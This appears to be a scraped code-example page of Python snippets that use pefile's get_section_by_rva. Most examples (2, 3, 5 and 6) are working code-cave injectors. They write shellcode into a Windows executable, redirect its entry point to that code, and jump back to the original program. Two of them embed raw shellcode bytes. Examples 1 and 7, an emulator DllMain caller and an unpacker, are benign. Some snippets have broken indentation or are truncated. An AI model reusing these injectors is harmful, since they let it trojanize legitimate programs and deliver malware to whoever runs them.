Esempio n. 1
0
    def call_dll_entrypoint(self, dll: pefile.PE, dll_base: int, dll_len: int,
                            dll_name: str):
        entry_address = dll.OPTIONAL_HEADER.AddressOfEntryPoint

        if dll.get_section_by_rva(entry_address) is None:
            return

        if dll_name in ('kernelbase.dll', 'kernel32.dll'):
            self.ql.log.debug(f'Ignoring {dll_name} entry point')
            return

        # DllMain functions often call many APIs that may crash the program if they
        # are not implemented correctly (if at all). here we blacklist the problematic
        # DLLs whose DllMain functions are known to be crashing.
        #
        # the blacklist may be revisited from time to time to see if any of the file
        # can be safely unlisted.
        blacklist = {
            32: ('gdi32.dll', ),
            64: ('gdi32.dll', )
        }[self.ql.arch.bits]

        if dll_name in blacklist:
            self.ql.log.debug(f'Ignoring {dll_name} entry point (blacklisted)')
            return

        entry_point = dll_base + entry_address
        exit_point = dll_base + dll_len - 16

        args = (
            (HINSTANCE, dll_base),  # hinstDLL = base address of DLL
            (DWORD, 1),  # fdwReason = DLL_PROCESS_ATTACH
            (LPVOID, 0)  # lpReserved = 0
        )

        self.ql.log.info(f'Calling {dll_name} DllMain at {entry_point:#x}')

        regs_state = self.ql.arch.regs.save()

        fcall = self.ql.os.fcall_select(CDECL)
        fcall.call_native(entry_point, args, exit_point)

        # Execute the call to the entry point
        try:
            self.ql.emu_start(entry_point, exit_point)
        except UcError:
            self.ql.log.error(
                f'Error encountered while running {dll_name} DllMain, bailing')

            self.ql.arch.regs.restore(regs_state)
        else:
            fcall.cc.unwind(len(args))

            self.ql.log.info(f'Returned from {dll_name} DllMain')
Esempio n. 2
0
def main(exe_file, shellcode):
    if not (os.path.isfile(exe_file)):
        print(
            "\nExecutable file cant detected ! \n Please try with full path.\n"
        )
        return False

    shellcode = shellcode.replace("\\x", "").decode("hex")

    pe = PE(exe_file)
    OEP = pe.OPTIONAL_HEADER.AddressOfEntryPoint
    pe_sections = pe.get_section_by_rva(pe.OPTIONAL_HEADER.AddressOfEntryPoint)
    align = pe.OPTIONAL_HEADER.SectionAlignment
    what_left = (pe_sections.VirtualAddress + pe_sections.Misc_VirtualSize
                 ) - pe.OPTIONAL_HEADER.AddressOfEntryPoint
    end_rva = pe.OPTIONAL_HEADER.AddressOfEntryPoint + what_left
    padd = align - (end_rva % align)
    e_offset = pe.get_offset_from_rva(end_rva + padd) - 1
    scode_size = len(shellcode) + 7

    if padd < scode_size:
        print("\nEnough space is not available for shellcode")
        print("Available codecave len : {0} \n").format(covecavelenght(pe))
        return False
    else:
        scode_end_off = e_offset
        scode_start_off = scode_end_off - scode_size
        pe.OPTIONAL_HEADER.AddressOfEntryPoint = pe.get_rva_from_offset(
            scode_start_off)
        raw_pe_data = pe.write()
        jmp_to = OEP - pe.get_rva_from_offset(scode_end_off)
        shellcode = '\x60%s\x61\xe9%s' % (shellcode,
                                          pack('I', jmp_to & 0xffffffff))
        final_data = list(raw_pe_data)
        final_data[scode_start_off:scode_start_off +
                   len(shellcode)] = shellcode
        final_data = ''.join(final_data)
        raw_pe_data = final_data
        pe.close()

        while True:
            final_pe_file = "{0}".format(str(randint(0, 999999999)))
            if not os.path.isfile(final_pe_file):
                break

        new_file = open(final_pe_file, 'wb')
        new_file.write(raw_pe_data)
        new_file.close()
        print("\nNew file : {0} saved !").format(final_pe_file)
        print('[*] Job Done! :)')
Esempio n. 3
0
        def inject():
            class NotEnoughSize(Exception):
                pass

            exe_file = res.BINARY
            final_pe_file = '{}_injected'.format(res.BINARY)
            shellcode = scode
            pe = PE(exe_file)
            OEP = pe.OPTIONAL_HEADER.AddressOfEntryPoint
            pe_sections = pe.get_section_by_rva(
                pe.OPTIONAL_HEADER.AddressOfEntryPoint)
            align = pe.OPTIONAL_HEADER.SectionAlignment
            what_left = (pe_sections.VirtualAddress +
                         pe_sections.Misc_VirtualSize
                         ) - pe.OPTIONAL_HEADER.AddressOfEntryPoint
            end_rva = pe.OPTIONAL_HEADER.AddressOfEntryPoint + what_left
            padd = align - (end_rva % align)
            e_offset = pe.get_offset_from_rva(end_rva + padd) - 1
            scode_size = len(shellcode) + 7
            if padd < scode_size:
                summary.append(
                    logs.err('Not enough size for shellcode injection',
                             prnt=False))
            else:
                #logs.good('Found {} bytes of empty space'.format(padd))
                scode_end_off = e_offset
                scode_start_off = scode_end_off - scode_size
                pe.OPTIONAL_HEADER.AddressOfEntryPoint = pe.get_rva_from_offset(
                    scode_start_off)
                raw_pe_data = pe.write()
                jmp_to = OEP - pe.get_rva_from_offset(scode_end_off)
                pusha = '\x60'
                popa = '\x61'
                shellcode = '%s%s%s\xe9%s' % (pusha, shellcode, popa,
                                              pack('I', jmp_to & 0xffffffff))
                final_data = list(raw_pe_data)
                final_data[scode_start_off:scode_start_off +
                           len(shellcode)] = shellcode
                final_data = ''.join(final_data)
                raw_pe_data = final_data
                pe.close()
                new_file = open(final_pe_file, 'wb')
                new_file.write(raw_pe_data)
                new_file.close()
                summary.append(
                    logs.good('Succesfully injected shellcode', prnt=False))
def main( exe_file, shellcode):
    if not (os.path.isfile( exe_file)):
        print("\nExecutable file cant detected ! \n Please try with full path.\n")	
        return False

    shellcode = shellcode.replace("\\x", "").decode("hex")

    pe = PE(exe_file)
    OEP = pe.OPTIONAL_HEADER.AddressOfEntryPoint
    pe_sections = pe.get_section_by_rva(pe.OPTIONAL_HEADER.AddressOfEntryPoint)
    align = pe.OPTIONAL_HEADER.SectionAlignment
    what_left = (pe_sections.VirtualAddress + pe_sections.Misc_VirtualSize) - pe.OPTIONAL_HEADER.AddressOfEntryPoint
    end_rva = pe.OPTIONAL_HEADER.AddressOfEntryPoint + what_left
    padd = align - (end_rva % align)
    e_offset = pe.get_offset_from_rva(end_rva+padd) - 1
    scode_size = len(shellcode)+7

    if padd < scode_size:
        print("\nEnough space is not available for shellcode")
        print("Available codecave len : {0} \n").format( covecavelenght( pe))
        return False
    else:
        scode_end_off = e_offset
        scode_start_off = scode_end_off - scode_size
        pe.OPTIONAL_HEADER.AddressOfEntryPoint = pe.get_rva_from_offset(scode_start_off)
        raw_pe_data = pe.write()
        jmp_to = OEP - pe.get_rva_from_offset(scode_end_off)
        shellcode = '\x60%s\x61\xe9%s' % (shellcode, pack('I', jmp_to & 0xffffffff))
        final_data = list(raw_pe_data)
        final_data[scode_start_off:scode_start_off+len(shellcode)] = shellcode
        final_data = ''.join(final_data)
        raw_pe_data = final_data
        pe.close()


        while True:
            final_pe_file = "{0}".format(str(randint(0, 999999999)))
            if not os.path.isfile(final_pe_file):
                break

        new_file = open(final_pe_file, 'wb')
        new_file.write(raw_pe_data)
        new_file.close()
        print ("\nNew file : {0} saved !").format( final_pe_file)
        print ('[*] Job Done! :)')
Esempio n. 5
0
    + "\x68\x75\x73\x65\x72\x30\xdb\x88\x5c\x24\x0a\x89\xe6\x56"
    + "\xff\x55\x04\x89\xc2\x50\xbb\xa8\xa2\x4d\xbc\x87\x1c\x24"
    + "\x52\xe8\x5f\xff\xff\xff\x68\x72\x73\x58\x20\x68\x72\x63"
    + "\x68\x65\x68\x65\x73\x65\x61\x68\x75\x67\x20\x52\x68\x43"
    + "\x57\x2f\x42\x31\xdb\x88\x5c\x24\x12\x89\xe3\x68\x65\x72"
    + "\x65\x58\x68\x61\x73\x20\x48\x68\x45\x53\x20\x57\x31\xc9"
    + "\x88\x4c\x24\x0b\x89\xe1\x31\xd2\x6a\x10\x53\x51\x52\xff"
    + "\xd0\x31\xc0\x50\xff\x55\x08"
)

if __name__ == "__main__":
    exe_file = raw_input("Enter Path To Exe File ")
    final_pe_file = raw_input("Enter Path To New Exe File: ")
    pe = PE(exe_file)
    OEP = pe.OPTIONAL_HEADER.AddressOfEntryPoint
    pe_sections = pe.get_section_by_rva(pe.OPTIONAL_HEADER.AddressOfEntryPoint)
    align = pe.OPTIONAL_HEADER.SectionAlignment
    what_left = (pe_sections.VirtualAddress + pe_sections.Misc_VirtualSize) - pe.OPTIONAL_HEADER.AddressOfEntryPoint
    end_rva = pe.OPTIONAL_HEADER.AddressOfEntryPoint + what_left
    padd = align - (end_rva % align)
    e_offset = pe.get_offset_from_rva(end_rva + padd) - 1
    scode_size = len(sample_shell_code) + 7
    if padd < scode_size:
        # Enough space is not available for shellcode
        exit()
        # Code can be injected
    scode_end_off = e_offset
    scode_start_off = scode_end_off - scode_size
    pe.OPTIONAL_HEADER.AddressOfEntryPoint = pe.get_rva_from_offset(scode_start_off)
    raw_pe_data = pe.write()
    jmp_to = OEP - pe.get_rva_from_offset(scode_end_off)
Esempio n. 6
0
"\xc2\x68\x8e\x4e\x0e\xec\x52\xe8\x9f\xff\xff\xff\x89\x45" +
"\x04\xbb\x7e\xd8\xe2\x73\x87\x1c\x24\x52\xe8\x8e\xff\xff" +
"\xff\x89\x45\x08\x68\x6c\x6c\x20\x41\x68\x33\x32\x2e\x64" +
"\x68\x75\x73\x65\x72\x88\x5c\x24\x0a\x89\xe6\x56\xff\x55" +
"\x04\x89\xc2\x50\xbb\xa8\xa2\x4d\xbc\x87\x1c\x24\x52\xe8" +
"\x61\xff\xff\xff\x68\x21\x58\x20\x20\x68\x57\x30\x30\x74" +
"\x31\xdb\x88\x5c\x24\x05\x89\xe3\x68\x65\x21\x58\x20\x68" +
"\x20\x48\x65\x72\x68\x20\x57\x61\x73\x68\x73\x69\x73\x68" +
"\x68\x44\x65\x62\x61\x31\xc9\x88\x4c\x24\x12\x89\xe1\x31" +
"\xd2\x52\x53\x51\x52\xff\xd0")
if __name__ == '__main__':
	exe_file = raw_input('[*] Enter full path of the main executable :')
	final_pe_file = raw_input('[*] Enter full path of the output executable :')
	pe = PE(exe_file)
	OEP = pe.OPTIONAL_HEADER.AddressOfEntryPoint
	pe_sections = pe.get_section_by_rva(pe.OPTIONAL_HEADER.AddressOfEntryPoint)
	align = pe.OPTIONAL_HEADER.SectionAlignment
	what_left = (pe_sections.VirtualAddress + pe_sections.Misc_VirtualSize) - pe.OPTIONAL_HEADER.AddressOfEntryPoint
	end_rva = pe.OPTIONAL_HEADER.AddressOfEntryPoint + what_left
	padd = align - (end_rva % align)
	e_offset = pe.get_offset_from_rva(end_rva+padd) - 1
	scode_size = len(sample_shell_code)+7
if padd < scode_size:
# Enough space is not available for shellcode
		exit()
# Code can be injected
	scode_end_off = e_offset
	scode_start_off = scode_end_off - scode_size
	pe.OPTIONAL_HEADER.AddressOfEntryPoint = pe.get_rva_from_offset(scode_start_off)
	raw_pe_data = pe.write()
	jmp_to = OEP - pe.get_rva_from_offset(scode_end_off)
Esempio n. 7
0
def restore_pe(file,output):
    # PEfile isn't the best for this job, but we'll get it done ;)
    # TODO : Recaluclate SizeOfImage to match the acutal file
    from pefile import PE,OPTIONAL_HEADER_MAGIC_PE_PLUS
    print('[-] Loading PE...')
    pe = PE(file,fast_load=True)
    PE64 = pe.PE_TYPE == OPTIONAL_HEADER_MAGIC_PE_PLUS
    pe.__data__ = bytearray(pe.__data__) # This allows us to apply slicing on the PE data
    # Helpers    
    find_section = lambda name:next(filter(lambda x:name in x.Name,pe.sections))
    find_data_directory = lambda name:next(filter(lambda x:name in x.name,pe.OPTIONAL_HEADER.DATA_DIRECTORY))    
    # Data
    enigma1 = pe.__data__[find_section(b'.enigma1').PointerToRawData:]
    hdr = unpack(EVB_ENIGMA1_HEADER,enigma1,104 if PE64 else 76)
    # Restore section with built-in offsets. All these ADDRESSes are VAs
    find_data_directory('IMPORT').VirtualAddress = hdr['IMPORT_ADDRESS']
    find_data_directory('IMPORT').Size = hdr['IMPORT_SIZE']
    find_data_directory('RELOC').VirtualAddress = hdr['RELOC_ADDRESS']
    find_data_directory('RELOC').Size = hdr['RELOC_SIZE']
    print('[-] Rebuilding Exception directory...')
    # Rebuild the exception directory
    exception_dir = find_data_directory('EXCEPTION')    
    exception_raw_ptr = pe.get_offset_from_rva(exception_dir.VirtualAddress)
    exception_data = pe.__data__[exception_raw_ptr:exception_raw_ptr + exception_dir.Size]    
    exception_struct = PE64_EXCEPTION if PE64 else PE_EXCEPTION
    exception_end = 0
    for i in range(0,exception_dir.Size,get_size_by_struct(exception_struct)):
        block = unpack(exception_struct,exception_data[i:])
        block['section'] = pe.get_section_by_rva(block['BEGIN_ADDRESS'])
        exception_end = i
        if b'.enigma' in block['section'].Name: 
            break
    exception_data = exception_data[:exception_end]
    # Prepare partial TLS data for searching
    tls_dir = find_data_directory('TLS')    
    tls_raw_ptr = pe.get_offset_from_rva(tls_dir.VirtualAddress)
    tls_data = bytearray(pe.__data__[tls_raw_ptr:tls_raw_ptr + tls_dir.Size])    
    original_callback = hdr['TLS_CALLBACK_RVA'] + pe.OPTIONAL_HEADER.ImageBase
    original_callback = struct.pack('<' + ('Q' if PE64 else 'I'),original_callback)
    if (PE64): 
        tls_data += original_callback       # AddressOfCallBacks
    else:
        tls_data[12:16] = original_callback # AddressOfCallBacks
        tls_data = tls_data[:16]
    # Destory .enigma* sections
    pe.__data__ = pe.__data__[:find_section(b'.enigma1').PointerToRawData] + pe.__data__[find_section(b'.enigma2').PointerToRawData + find_section(b'.enigma2').SizeOfRawData:]
    # If original program has a overlay, this will perserve it. Otherwise it's okay to remove them anyway.
    assert pe.sections.pop().Name == b'.enigma2'
    assert pe.sections.pop().Name == b'.enigma1'
    pe.FILE_HEADER.NumberOfSections -= 2    
    # NOTE: .enigma1 contains the VFS, as well as some Optional PE Header info as descrbied above
    # NOTE: .enigma2 is a aplib compressed loader DLL. You can decompress it with aplib provided in this repo  
    if (exception_data):
        # Reassign the RVA & sizes    
        print('[-] Rebuilt Exception directory. Size=0x%x' % len(exception_data))
        # Find where this could be placed at...since EVB clears the original exception directory listings
        # PEs with overlays won't work at all if EVB packed them.
        # We must remove the sections and do NOT append anything new
        offset = 0
        for section in pe.sections:
            offset_ = pe.__data__.find(b'\x00' * len(exception_data),section.PointerToRawData, section.PointerToRawData + section.SizeOfRawData)
            if offset_ > 0: 
                # Check for references in the Optional Data Directory
                # The offset should not be referenced otherwise we would overwrite existing data
                for header in pe.OPTIONAL_HEADER.DATA_DIRECTORY:
                    if pe.get_rva_from_offset(offset_) in range(header.VirtualAddress,header.VirtualAddress+header.Size):                        
                        offset = 0
                        break
                    else:
                        offset = offset_                        
            if offset > 0:
                break
        assert offset > 0,"Cannot place Exceptions Directory!"
        section = pe.get_section_by_rva(pe.get_rva_from_offset(offset))
        print('[-] Found suitable section to place Exception Directory. Name=%s RVA=0x%x' % (section.Name.decode(),offset - section.PointerToRawData))
        pe.__data__[offset:offset+len(exception_data)] = exception_data
        section.SizeOfRawData = max(section.SizeOfRawData,len(exception_data))
        exception_dir.VirtualAddress = pe.get_rva_from_offset(offset)
        exception_dir.Size = len(exception_data)
    else:
        print('[-] Original program does not contain Exception Directory.')
        exception_dir.VirtualAddress = 0
        exception_dir.Size = 0
    offset = pe.__data__.find(tls_data)
    # Append the exception section and assign the pointers
    # Serach for TLS in memory map since it's not removed.
    tls_dir = find_data_directory('TLS')
    if (offset > 0):
        print('[-] TLS Directory found. Offset=0x%x' % offset)
        tls_dir.VirtualAddress = pe.get_rva_from_offset(offset)
        tls_dir.Size = 40 if PE64 else 24
    else:
        print('[-] Original program does not utilize TLS.')
        tls_dir.VirtualAddress = 0
        tls_dir.Size = 0
    # Write to new file
    pe_name = os.path.basename(file)[:-4] + ORIGINAL_PE_SUFFIX
    pe_name = os.path.join(output,pe_name).replace('\\','/')    
    new_file_data = pe.write()
    write_bytes(BytesIO(new_file_data),open(pe_name,'wb+'),len(new_file_data),desc='Saving PE')
    print('[-] Original PE saved:',pe_name)